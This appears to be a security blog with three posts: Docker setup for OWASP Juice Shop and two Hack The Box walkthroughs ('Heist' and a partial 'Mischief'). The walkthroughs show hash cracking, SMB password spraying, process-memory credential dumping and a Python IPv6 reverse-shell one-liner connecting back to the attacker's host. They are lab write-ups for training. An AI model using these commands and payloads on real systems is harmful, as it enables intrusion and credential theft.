11 Dec 2019
Explanation
OWASP Juice Shop is a vulnerable web application which contains bunch of vulnerabilities in the OWASP TOP 10 .
This is the explanation of environment creation for OWASP Juice Shop with Docker.
Environment
OS: Kali linux 2019.4
Docker: 19.03.4
Solution
1. Installing prerequisits
root@kali:~# apt-get install docker.io docker-compose
---
root@kali:~# docker pull bkimminich/juice-shop
---
2. Launch OWASP Juice Shop
With the following command, we can launch OWASP Juice Shop on Docker.
root@kali:~# docker run --rm -p 3000:3000 bkimminich/juice-shop
> juice-shop@9.3.0 start /juice-shop
> node app
info: All dependencies in ./package.json are satisfied ( OK)
info: Detected Node.js version v12.13.1 ( OK)
info: Detected OS linux ( OK)
info: Detected CPU x64 ( OK)
info: Required file index.html is present ( OK)
info: Required file styles.css is present ( OK)
info: Required file main-es2015.js is present ( OK)
info: Required file polyfills-es2015.js is present ( OK)
info: Required file runtime-es2015.js is present ( OK)
info: Required file vendor-es2015.js is present ( OK)
info: Required file main-es5.js is present ( OK)
info: Required file polyfills-es5.js is present ( OK)
info: Required file runtime-es5.js is present ( OK)
info: Required file vendor-es5.js is present ( OK)
info: Configuration default validated ( OK)
info: Port 3000 is available ( OK)
info: Server listening on port 3000
3. Version confirmation
root@kali:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2019.4
Codename: kali-rolling
root@kali:~#
root@kali:~# docker --version
Docker version 19.03.4, build 9013bf5
root@kali:~#
4. Remove Docker container
When terminate the OWASP Juice Shop container, at first, check the container ID.
root@kali:~# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a9214ce6b90b bkimminich/juice-shop "docker-entrypoint.s…" 2 days ago Up 2 days 0.0.0.0:3000->3000/tcp sleepy_kalam
root@kali:~#
After that, run the following command.
root@kali:~# docker container kill a9214ce6b90b
a9214ce6b90b
root@kali:~#
01 Dec 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Heist”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.149 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-30 16:11 EET
Nmap scan report for 10.10.10.149
Host is up ( 0.043s latency) .
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 ( SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 52s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date : 2019-11-30T14:15:43
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 258.38 seconds
root@kali:~#
SMB enumeration:
root@kali:~# smbclient -L 10.10.10.149
Enter WORKGROUP\r oot's password:
session setup failed: NT_STATUS_ACCESS_DENIED
Gobuster HTTP:
root@kali:~# gobuster dir -u http://10.10.10.149/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php -s '200,204,301,302,403'
===============================================================
Gobuster v3.0.1
by OJ Reeves ( @TheColonial) & Christian Mehlmauer ( @_FireFart_)
===============================================================
[ +] Url: http://10.10.10.149/
[ +] Threads: 10
[ +] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[ +] Status codes: 200,204,301,302,403
[ +] User Agent: gobuster/3.0.1
[ +] Extensions: html,php
[ +] Timeout: 10s
===============================================================
2019/11/30 16:29:19 Starting gobuster
===============================================================
/index.php ( Status: 302)
/images ( Status: 301)
/login.php ( Status: 200)
/Images ( Status: 301)
/issues.php ( Status: 302)
/css ( Status: 301)
/Index.php ( Status: 302)
/Login.php ( Status: 200)
/js ( Status: 301)
/Issues.php ( Status: 302)
/attachments ( Status: 301)
/IMAGES ( Status: 301)
/INDEX.php ( Status: 302)
/CSS ( Status: 301)
/JS ( Status: 301)
/Attachments ( Status: 301)
[ ERROR] 2019/11/30 17:22:44 [!] Get http://10.10.10.149/h_travel2.html: net/http: request canceled ( Client.Timeout exceeded while awaiting headers)
/LogIn.php ( Status: 200)
/LOGIN.php ( Status: 200)
===============================================================
2019/11/30 17:53:44 Finished
===============================================================
2. Getting User
On the port 80, we can find a login console.
We don’t have any credential yet but we can login as a guest.’
Then, we can see the following messages.
One of the post has an attachment that is a config file of cisco router.
root@kali:~# curl http://10.10.10.149/attachments/config.txt
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0 mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
root@kali:~#
We found 3 password hashes.
Cisco type 5 is MD5 and type 7 is something Cisco original.
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
0242114B0E143F015F5D1E161713
02375012182C1A1D751618034F36415408
We can crack the MD5 hash and achieve the password “stealth1agent” with John the Ripper.
root@kali:~# cat cisco5.hash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
root@kali:~#
root@kali:~# john cisco5.hash --wordlist = /usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt" , but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash ( md5crypt, crypt( 3) $1$ ( and variants) [ MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent ( ?)
1g 0:00:00:15 DONE ( 2019-11-30 19:56) 0.06561g/s 230047p/s 230047c/s 230047C/s stealthy001..stcroix85
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~#
Next, crack the Cisco type 7 hashes.
We can use this website for that purpose and achieve following 2 passwords.
$uperP @ssword
Q4) sJu\Y 8qz* A3?d
Now we have the following users from “issues.php” and passwords from “/attachment/config.txt”.
Then, try each pattern for SMB login with CrackMapExec .
root@kali:~# cat users.txt
Hazard
Administrator
root@kali:~#
root@kali:~# cat passwords.txt
stealth1agent
$uperP @ssword
Q4) sJu\Y 8qz* A3?d
root@kali:~#
root@kali:~# apt-get install crackmapexec
---
root@kali:~# crackmapexec smb 10.10.10.149 -u users.txt -p passwords.txt
[ * ] First time use detected
[ * ] Creating home directory structure
[ * ] Initializing the database
[ * ] Copying default configuration file
[ * ] Generating SSL certificate
CME 10.10.10.149:445 SUPPORTDESK [ * ] Windows 10.0 Build 17763 ( name:SUPPORTDESK) ( domain:SUPPORTDESK)
CME 10.10.10.149:445 SUPPORTDESK [ +] SUPPORTDESK\H azard:stealth1agent
[ * ] KTHXBYE!
root@kali:~#
Now CME found valid credential for domain “SUPPOETDESK”.
Hazard:stealth1agent
Then, try to obtain a remote access.
Psexec is not available here because we don’t have any SMB share we have write permission.
root@kali:~# python impacket/examples/psexec.py hazard@10.10.10.149
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
Password:
[ * ] Requesting shares on 10.10.10.149.....
[ -] share 'ADMIN$' is not writable.
[ -] share 'C$' is not writable.
root@kali:~#
root@kali:~# smbmap -H 10.10.10.149 -u hazard -p stealth1agent
[ +] Finding open SMB ports....
[ +] User SMB session establishd on 10.10.10.149...
[ +] IP: 10.10.10.149:445 Name: 10.10.10.149
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
root@kali:~#
Next, try to enumerate via on MSRPC port 5985
With a script in the package “Impacket ”, we can bruteforce the SID of Windows host.
root@kali:~# python impacket/examples/lookupsid.py hazard:stealth1agent@10.10.10.149
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[ * ] Brute forcing SIDs at 10.10.10.149
[ * ] StringBinding ncacn_np:10.10.10.149[\p ipe\l sarpc]
[ * ] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\A dministrator ( SidTypeUser)
501: SUPPORTDESK\G uest ( SidTypeUser)
503: SUPPORTDESK\D efaultAccount ( SidTypeUser)
504: SUPPORTDESK\W DAGUtilityAccount ( SidTypeUser)
513: SUPPORTDESK\N one ( SidTypeGroup)
1008: SUPPORTDESK\H azard ( SidTypeUser)
1009: SUPPORTDESK\s upport ( SidTypeUser)
1012: SUPPORTDESK\C hase ( SidTypeUser)
1013: SUPPORTDESK\J ason ( SidTypeUser)
root@kali:~#
Now we found additional users.
Then try to bruteforce the SMB again.
root@kali:~# cat users.txt
administrator
guest
defaultaccount
WDAGUtilityAccount
support
chase
jason
root@kali:~#
root@kali:~# cat passwords.txt
stealth1agent
$uperP @ssword
Q4) sJu\Y 8qz* A3?d
root@kali:~#
root@kali:~# crackmapexec smb 10.10.10.149 -u users.txt -p passwords.txt
CME 10.10.10.149:445 SUPPORTDESK [ * ] Windows 10.0 Build 17763 ( name:SUPPORTDESK) ( domain:SUPPORTDESK)
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\a dministrator:stealth1agent STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\a dministrator:$uperP @ssword STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\a dministrator:Q4) sJu\Y 8qz* A3?d STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\g uest:stealth1agent STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\g uest:$uperP @ssword STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\g uest:Q4) sJu\Y 8qz* A3?d STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\d efaultaccount:stealth1agent STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\d efaultaccount:$uperP @ssword STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\d efaultaccount:Q4) sJu\Y 8qz* A3?d STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\W DAGUtilityAccount:stealth1agent STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\W DAGUtilityAccount:$uperP @ssword STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\W DAGUtilityAccount:Q4) sJu\Y 8qz* A3?d STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\s upport:stealth1agent STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\s upport:$uperP @ssword STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\s upport:Q4) sJu\Y 8qz* A3?d STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\c hase:stealth1agent STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ -] SUPPORTDESK\c hase:$uperP @ssword STATUS_LOGON_FAILURE
CME 10.10.10.149:445 SUPPORTDESK [ +] SUPPORTDESK\c hase:Q4) sJu\Y 8qz* A3?d
[ * ] KTHXBYE!
root@kali:~#
Now we found additional credential.
chase:Q4) sJu\Y 8qz* A3?d
Still we can not use Psexec, but this time we can login via WinRM.
This time, “evil-winrm ” was used for the user shell as “Chase”.
root@kali:~# python impacket/examples/psexec.py 'chase:Q4)sJu\Y8qz*A3?d@10.10.10.149'
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[ * ] Requesting shares on 10.10.10.149.....
[ -] share 'ADMIN$' is not writable.
[ -] share 'C$' is not writable.
root@kali:~#
root@kali:~# gem install evil-winrm
root@kali:~# evil-winrm -u Chase -p "Q4)sJu \Y 8qz*A3?d" -i 10.10.10.149
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
* Evil-WinRM* PS C:\U sers\C hase\D ocuments> whoami
supportdesk\c hase
* Evil-WinRM* PS C:\U sers\C hase\D ocuments>
user.txt is in a directory “C:\Users\Chase\Desktop”
* Evil-WinRM* PS C:\U sers\C hase\D esktop> type user.txt
a127daef77ab6d9d92008653295f59c4
* Evil-WinRM* PS C:\U sers\C hase\D esktop>
3. Getting Root
In the directory “C:\Users\Chase\Desktop”, we have another text file “todo.txt”.
* Evil-WinRM* PS C:\U sers\C hase\D esktop> dir
Directory: C:\U sers\C hase\D esktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:08 AM 121 todo.txt
-a---- 4/22/2019 9:07 AM 32 user.txt
* Evil-WinRM* PS C:\U sers\C hase\D esktop>
* Evil-WinRM* PS C:\U sers\C hase\D esktop> type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
* Evil-WinRM* PS C:\U sers\C hase\D esktop>
Then, check the running processes.
* Evil-WinRM* PS C:\U sers\C hase\D ocuments> get-process
Handles NPM( K) PM( K) WS( K) CPU( s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
458 18 2404 5512 408 0 csrss
295 17 2472 5368 504 1 csrss
358 15 3528 14636 4172 1 ctfmon
257 14 4152 13588 3948 0 dllhost
164 9 1880 9836 0.31 5464 1 dllhost
617 32 34112 59008 716 1 dwm
1494 58 24008 78864 5488 1 explorer
343 19 10164 37648 0.56 1088 1 firefox
390 34 63592 95860 85.36 1716 1 firefox
358 26 16292 37592 1.00 4296 1 firefox
408 31 17404 63240 3.84 4704 1 firefox
1121 72 149076 484916 44.81 4968 1 firefox
49 6 1440 3732 808 0 fontdrvhost
49 6 1796 4748 980 1 fontdrvhost
0 0 56 8 0 0 Idle
1009 23 6432 15252 648 0 lsass
227 13 3096 10360 4228 0 msdtc
570 62 129624 147492 2980 0 MsMpEng
0 13 308 52948 104 0 Registry
290 15 5304 16412 1952 1 RuntimeBroker
275 14 3080 15260 4800 1 RuntimeBroker
144 8 1652 7684 5592 1 RuntimeBroker
672 32 19940 49180 6064 1 SearchUI
542 11 5368 9964 628 0 services
683 29 15324 40896 5960 1 ShellExperienceHost
439 17 4988 24112 4740 1 sihost
53 3 524 1216 324 0 smss
475 23 5840 16364 2564 0 spoolsv
168 11 2508 13208 68 0 svchost
203 12 2040 9672 364 0 svchost
115 7 1272 5344 480 0 svchost
128 7 1256 5720 500 0 svchost
284 13 4292 11328 528 0 svchost
127 7 1392 6216 668 0 svchost
149 9 1720 11720 708 0 svchost
85 5 912 3848 764 0 svchost
862 20 6984 22608 788 0 svchost
866 16 5368 11884 868 0 svchost
252 11 2088 7800 920 0 svchost
390 13 11184 15124 1064 0 svchost
122 15 3652 7704 1172 0 svchost
188 9 1836 7616 1220 0 svchost
232 12 2456 11064 1228 0 svchost
156 7 1240 5684 1240 0 svchost
214 9 2200 7520 1248 0 svchost
431 9 2952 9120 1260 0 svchost
175 9 1524 7256 1272 0 svchost
140 7 1320 5744 1372 0 svchost
344 15 4360 11612 1424 0 svchost
172 11 1848 8096 1436 0 svchost
378 17 5036 14284 1444 0 svchost
226 13 3104 8448 1552 0 svchost
284 12 1900 8024 1560 0 svchost
193 13 2208 12100 1632 0 svchost
323 10 2668 8516 1640 0 svchost
163 10 1968 6712 1780 0 svchost
399 31 8732 17152 1864 0 svchost
159 9 2196 7556 1916 0 svchost
198 11 2008 8212 1932 0 svchost
240 11 2568 9916 2060 0 svchost
389 19 15116 32160 2216 0 svchost
167 11 3912 10908 2636 0 svchost
265 13 2564 7868 2640 0 svchost
233 25 3404 12620 2652 0 svchost
405 16 12968 21976 2664 0 svchost
473 20 13512 28352 2672 0 svchost
137 9 1652 6596 2700 0 svchost
140 8 1512 6184 2776 0 svchost
210 11 2556 8532 2800 0 svchost
126 7 1224 5396 2816 0 svchost
213 12 1896 7532 2852 0 svchost
233 14 4756 11896 2920 0 svchost
468 18 3444 11752 2988 0 svchost
276 28 5352 14288 3020 0 svchost
169 10 2164 13324 3040 0 svchost
387 24 3444 12360 3236 0 svchost
254 13 3560 12716 3260 0 svchost
365 18 5600 26880 4020 1 svchost
227 11 2880 10960 4512 0 svchost
232 12 3068 13548 4768 1 svchost
169 9 4324 12040 4820 0 svchost
207 11 2912 12072 5116 0 svchost
251 14 3192 13840 5208 0 svchost
210 15 6416 10652 5424 0 svchost
327 16 16024 18288 6580 0 svchost
163 9 3104 7664 6688 0 svchost
297 20 10704 14752 6788 0 svchost
1937 0 192 152 4 0 System
210 21 4548 13204 4184 1 taskhostw
298 18 5260 15724 7112 1 taskhostw
178 12 3200 10356 2836 0 VGAuthService
245 18 3884 15040 1940 1 vmtoolsd
384 22 9464 22456 2828 0 vmtoolsd
175 11 1508 6860 488 0 wininit
286 13 2732 12920 560 1 winlogon
344 16 10428 19688 3992 0 WmiPrvSE
635 28 51756 66952 0.64 3120 0 wsmprovhost
588 27 166464 184692 6.63 5044 0 wsmprovhost
* Evil-WinRM* PS C:\U sers\C hase\D ocuments>
We can find out even though this is server, Firefox is running.
* Evil-WinRM* PS C:\U sers\C hase\D esktop> get-process -name firefox
Handles NPM( K) PM( K) WS( K) CPU( s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1149 74 151660 190244 43.80 4908 1 firefox
341 19 9952 37304 0.69 6024 1 firefox
408 31 17036 62692 2.70 6256 1 firefox
390 34 59020 90736 117.78 6564 1 firefox
358 26 16360 37556 0.66 6728 1 firefox
* Evil-WinRM* PS C:\U sers\C hase\D esktop>
To obtain information from the process, we can use a tool Procdump .
Download it and extract, then upload the “procdump.exe” binary with a command “upload”.
* Evil-WinRM* PS C:\U sers\C hase\D ocuments> upload procdump.exe
Info: Uploading procdump.exe to C:\U sers\C hase\D ocuments\p rocdump.exe
Data: 868564 bytes of 868564 bytes copied
Info: Upload successful!
* Evil-WinRM* PS C:\U sers\C hase\D ocuments>
Then, execute the “procdump.exe”.
It generates a process file for the firefox and this time 5 files are created with 5 command executions for 5 processes.
* Evil-WinRM* PS C:\U sers\C hase\D esktop> ./procdump.exe -ma 6728 -accepteula
ProcDump v9.0 - Sysinternals process dump utility
Copyright ( C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[ 02:28:58] Dump 1 initiated: C:\U sers\C hase\D esktop\f irefox.exe_191202_022858.dmp
[ 02:28:58] Dump 1 writing: Estimated dump file size is 280 MB.
[ 02:29:02] Dump 1 complete : 281 MB written in 3.4 seconds
[ 02:29:02] Dump count reached.
* Evil-WinRM* PS C:\U sers\C hase\D esktop>
Try to analyze the process file.
To look for a word “password” in the process and we can find an URL parameter “password”.
* Evil-WinRM* PS C:\U sers\C hase\D ocuments> cat firefox.exe_191202_042810.dmp | Select-String "password"
---
Firefox\f irefox.exeMOZ‘27�ÄGáõþGáõþRG_1= localhost/login.php?login_username= admin@support.htb&login_password= 4dD!5} x/re8]FBuZ&login= MOZ_CRASHREPORTER_STRINGS_OVERRIDE = C:\P rogram Files\M ozilla Firefox\b rowser\c rashreporter-override.iniNU
---
Now we found the following credential.
admin:4dD!5} x/re8]FBuZ
Then, try to login with the following way.
We can achieve administrator shell.
root@kali:~# evil-winrm -u Administrator -p '4dD!5}x/re8]FBuZ' -i 10.10.10.149
Evil-WinRM shell v2.0
Info: Establishing connection to remote endpoint
* Evil-WinRM* PS C:\U sers\A dministrator\D ocuments> whoami
supportdesk\a dministrator
* Evil-WinRM* PS C:\U sers\A dministrator\D ocuments>
As always. root.txt is in the directory “C:\Users\Administrator\Desktop”.
* Evil-WinRM* PS C:\U sers\A dministrator\D esktop> ls
Directory: C:\U sers\A dministrator\D esktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:05 AM 32 root.txt
* Evil-WinRM* PS C:\U sers\A dministrator\D esktop> cat root.txt
50dfa3c6bfd20e2e0d071b073d766897
* Evil-WinRM* PS C:\U sers\A dministrator\D esktop>
21 Nov 2019
Explanation
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Mischief”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.92 -sV -sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 15:43 EET
Nmap scan report for 10.10.10.92
Host is up ( 0.047s latency) .
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 ( RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f ( ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 ( ED25519)
3366/tcp open caldav Radicale calendar and contacts server ( Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x 0D
|_ Basic realm = Test
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done : 1 IP address ( 1 host up) scanned in 131.65 seconds
UDP Port Scanning:
root@kali:~# nmap -sU 10.10.10.92 --top-ports 1000
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 15:47 EET
Nmap scan report for 10.10.10.92
Host is up ( 0.047s latency) .
Not shown: 999 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
Nmap done : 1 IP address ( 1 host up) scanned in 12.42 seconds
2. Getting User
For TCP, we have HTTP but it is protected with Basic Auth.
root@kali:~# curl -i http://10.10.10.92:3366
HTTP/1.0 401 Unauthorized
Server: SimpleHTTP/0.6 Python/2.7.15rc1
Date: Wed, 20 Nov 2019 13:53:16 GMT
WWW-Authenticate: Basic realm = "Test"
Content-type: text/html
no auth header received
Then, try to look at UDP port 161 which is SNMP.
root@kali:~# snmp-check -p 161 -c public 10.10.10.92
snmp-check v1.9 - SNMP enumerator
Copyright ( c) 2005-2015 by Matteo Cantoni ( www.nothink.org)
[ +] Try to connect to 10.10.10.92:161 using SNMPv1 and community 'public'
---
[ * ] Processes:
Id Status Name Path Parameters
1 runnable systemd /sbin/init maybe-ubiquity
2 runnable kthreadd
4 unknown kworker/0:0H
5 unknown kworker/u2:0
6 unknown mm_percpu_wq
7 runnable ksoftirqd/0
8 unknown rcu_sched
9 unknown rcu_bh
10 runnable migration/0
11 runnable watchdog/0
12 runnable cpuhp/0
13 runnable kdevtmpfs
14 unknown netns
15 runnable rcu_tasks_kthre
16 runnable kauditd
17 runnable khungtaskd
18 runnable oom_reaper
19 unknown writeback
20 runnable kcompactd0
21 runnable ksmd
22 runnable khugepaged
23 unknown crypto
24 unknown kintegrityd
25 unknown kblockd
26 unknown ata_sff
27 unknown md
28 unknown edac-poller
29 unknown devfreq_wq
30 unknown watchdogd
32 unknown kworker/0:1
34 runnable kswapd0
35 runnable ecryptfs-kthrea
77 unknown kthrotld
78 unknown acpi_thermal_pm
79 runnable scsi_eh_0
80 unknown scsi_tmf_0
81 runnable scsi_eh_1
82 unknown scsi_tmf_1
84 unknown kworker/0:2
89 unknown ipv6_addrconf
98 unknown kstrp
115 unknown charger_manager
180 unknown mpt_poll_0
181 unknown mpt/0
220 runnable scsi_eh_2
221 unknown scsi_tmf_2
222 unknown ttm_swap
224 runnable irq/16-vmwgfx
225 unknown kworker/0:1H
294 unknown raid5wq
345 runnable jbd2/sda2-8
346 unknown ext4-rsv-conver
394 unknown iscsi_eh
397 runnable vmtoolsd /usr/bin/vmtoolsd
398 runnable systemd-journal /lib/systemd/systemd-journald
409 unknown ib-comp-wq
412 unknown ib_mcast
413 unknown ib_nl_sa_wq
416 runnable lvmetad /sbin/lvmetad -f
417 unknown rdma_cm
423 runnable systemd-udevd /lib/systemd/systemd-udevd
507 runnable systemd-network /lib/systemd/systemd-networkd
536 runnable systemd-resolve /lib/systemd/systemd-resolved
538 runnable systemd-timesyn /lib/systemd/systemd-timesyncd
557 runnable dbus-daemon /usr/bin/dbus-daemon --system --address = systemd: --nofork --nopidfile --systemd-activation --syslog-only
558 runnable systemd-logind /lib/systemd/systemd-logind
559 runnable lxcfs /usr/bin/lxcfs /var/lib/lxcfs/
562 runnable cron /usr/sbin/cron -f
563 runnable VGAuthService /usr/bin/VGAuthService
565 runnable atd /usr/sbin/atd -f
567 runnable accounts-daemon /usr/lib/accountsservice/accounts-daemon
569 runnable rsyslogd /usr/sbin/rsyslogd -n
571 runnable cron /usr/sbin/CRON -f
582 runnable networkd-dispat /usr/bin/python3 /usr/bin/networkd-dispatcher
583 running snmpd /usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f
592 runnable sh /bin/sh -c /home/loki/hosted/webstart.sh
599 runnable sh /bin/sh /home/loki/hosted/webstart.sh
600 runnable python python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
605 runnable polkitd /usr/lib/policykit-1/polkitd --no-debug
624 runnable sshd /usr/sbin/sshd -D
641 runnable iscsid /sbin/iscsid
642 runnable iscsid /sbin/iscsid
679 runnable agetty /sbin/agetty -o -p -- \u --noclear tty1 linux
735 runnable apache2 /usr/sbin/apache2 -k start
779 runnable mysqld /usr/sbin/mysqld --daemonize --pid-file = /run/mysqld/mysqld.pid
800 runnable apache2 /usr/sbin/apache2 -k start
801 runnable apache2 /usr/sbin/apache2 -k start
802 runnable apache2 /usr/sbin/apache2 -k start
803 runnable apache2 /usr/sbin/apache2 -k start
804 runnable apache2 /usr/sbin/apache2 -k start
1095 unknown kworker/u2:1
1115 unknown kworker/u2:2
---
In this command output, we can find the credential of the Basic Auth.
python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
With the credential, we can login to the web server for IPv6.
loki:godofmischiefisloki
We got another credential. Then, try to look for a place to use.
If we go over the above process enumeration, we can find that apache is running but there is no port listening.
apache2 usr/sbin/apache2 -k start
Then, enumerate IPv6 address.
We can use a SNMP IPv6 enumerator enyx for this purpose.
root@kali:~# python Enyx/enyx.py 1 public 10.10.10.92
###################################################################################
# #
# ####### ## # # # # # #
# # # # # # # # # #
# ###### # # # ## ## #
# # # # # ## # # #
# ###### # ## ## # # #
# #
# SNMP IPv6 Enumerator Tool #
# #
# Author: Thanasis Tserpelis aka Trickster0 #
# #
###################################################################################
[ +] Snmpwalk found.
[ +] Grabbing IPv6.
[ +] Loopback -> 0000:0000:0000:0000:0000:0000:0000:0001
[ +] Unique-Local -> dead:beef:0000:0000:0250:56ff:feb9:c793
[ +] Link Local -> fe80:0000:0000:0000:0250:56ff:feb9:c793
root@kali:~#
Now we found a Unique-Local address “dead:beef:0000:0000:0250:56ff:feb9:c793”.
Try to access with web browser.
Then, login to the console with the following password found on port 3366.
However, this does not work.
loki:trickeryanddeceit
After some trying common password combination, we can find out that the following credential works.
administrator:trickeryanddeceit
If we put just like “id;”, we can see that the command is executed.
Next, launch a netcat listener with “ncat”. This is because it has an option “-6” for IPv6.
root@kali:~# ncat -6 -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Then, try to invoke a reverse shell.
We can use a python reverse shell from Pentestmonkey .
At first, we have to figure out global IPv6 address of our host
root@kali:~# ip a | grep inet6 | grep global
inet6 dead:beef:2::100b/64 scope global
root@kali:~#
Then, give some modification for the given python payload and execute.
python payload used:
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::100b",443,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ;
Now, we got a reverse shell as user “www-data”.
root@kali:~# ncat -6 -lv dead:beef:2::100b 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on dead:beef:2::100b:443
Ncat: Connection from dead:beef::250:56ff:feb9:c793.
Ncat: Connection from dead:beef::250:56ff:feb9:c793:59574.
$ id
id
uid = 33( www-data) gid = 33( www-data) groups = 33( www-data)
$
Then, try to look at the home directory of only one user “loki”.
We can find a possible password “lokiisthebestnorsegod”.
$ pwd
pwd
/home/loki
$ cat credentials
cat credentials
pass: lokiisthebestnorsegod
$
Since we have ssh running on the target, we can login as “loki” with the above password.
loki:lokiisthebestnorsegod
root@kali:~# ssh loki@10.10.10.92
loki@10.10.10.92's password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
---
